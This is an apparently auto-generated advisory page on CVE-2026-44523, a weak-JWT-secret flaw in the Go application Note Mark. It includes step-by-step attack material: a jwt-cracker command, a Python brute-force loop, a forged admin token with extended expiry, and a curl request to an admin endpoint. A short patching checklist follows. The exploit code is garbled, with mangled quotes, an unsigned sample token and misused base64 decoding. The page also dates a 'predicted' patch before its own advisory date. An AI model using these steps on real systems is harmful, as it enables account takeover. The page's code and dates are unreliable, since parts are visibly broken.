Listen to this Post
How CVE-2026-44523 Works
No minimum length or entropy is enforced on the `JWT_SECRET` configuration value in Note Mark. The application accepts any base64-decodable secret regardless of its size, including secrets as short as 1 byte. The flaw exists in two specific functions: `Base64Decoded.UnmarshalText` in backend/config/utils.go, which decodes the JWT secret without validating its length or entropy, and backend/core/auth.go, which signs JWT tokens using the HS256 algorithm without enforcing minimum key size requirements. According to RFC 7518 Section 3.2, HS256 keys must be at least 256 bits (32 bytes). However, Note Mark performs no such validation. An attacker who captures a single valid JWT (e.g., from cookies, logs, or network traffic) can crack the signing secret offline using brute-force or wordlist attacks due to the weak entropy. Once the secret is recovered, the attacker can forge valid JWTs for any user ID, including administrators, and authenticate without knowing any credentials. The attack results in full account takeover across the entire application with no server-side detection or rate limiting possible.
DailyCVE Form
Platform: Go
Version: \u003c 0.0.0-20260501152247-18b587758667
Vulnerability: Weak JWT Secret
Severity: Critical
Date: 2026-05-07
Prediction: Patch expected 2026-05-01
What Undercode Say
Attackers exploit the absence of entropy validation on JWT_SECRET. A single valid JWT can be brute-forced using tools like `jwt-cracker` or Python scripts. Once the secret is recovered, arbitrary tokens can be forged. The following commands demonstrate the process:
Extract JWT secret from token (assuming weak secret):
`echo “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ” | jwt-cracker -a 1`
Python script to brute‑force secret (using `pyjwt` and itertools):
`import jwt, base64, itertools`
`chars = “abcdefghijklmnopqrstuvwxyz” `
`for secret in itertools.product(chars, repeat=1):`
` try:`
` jwt.decode(token, base64.b64decode(”.join(secret)), algorithms=[“HS256”])`
` print(f”Key found: {secret}”)`
` break`
` except jwt.InvalidSignatureError:`
` pass`
Forge a new token (with extended expiry):
`token = jwt.encode({“sub”: “admin-uuid”, “exp”: 9999999999}, base64.b64decode(secret), algorithm=”HS256″)`
`curl -X GET “https://target.com/api/admin” -H “Auth-Session-Token: {token}”`
Exploit
An attacker captures a valid JWT token (e.g., via network sniffing or log access). Using offline brute‑force (as short as a 1‑byte secret), the attacker recovers the signing key. Then, they forge a new JWT for any user UUID with an extended expiry value. Submitting the forged token to protected endpoints (e.g., /api/admin) grants the attacker full access without any credentials.
Protection from this CVE
- Enforce a minimum of 32 bytes (256 bits) for JWT secrets after base64 decoding.
- Reject weak secrets during configuration parsing (e.g., in `Base64Decoded.UnmarshalText` or config validation).
- Optionally log warnings or fail startup if the secret is insecure.
Impact
- Full account takeover across the entire application.
- No server‑side detection or rate limiting possible.
- Attackers can crack the signing secret using brute‑force or wordlist attacks offline.
- Forged JWTs allow access to any user ID (including administrators) without any credentials.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
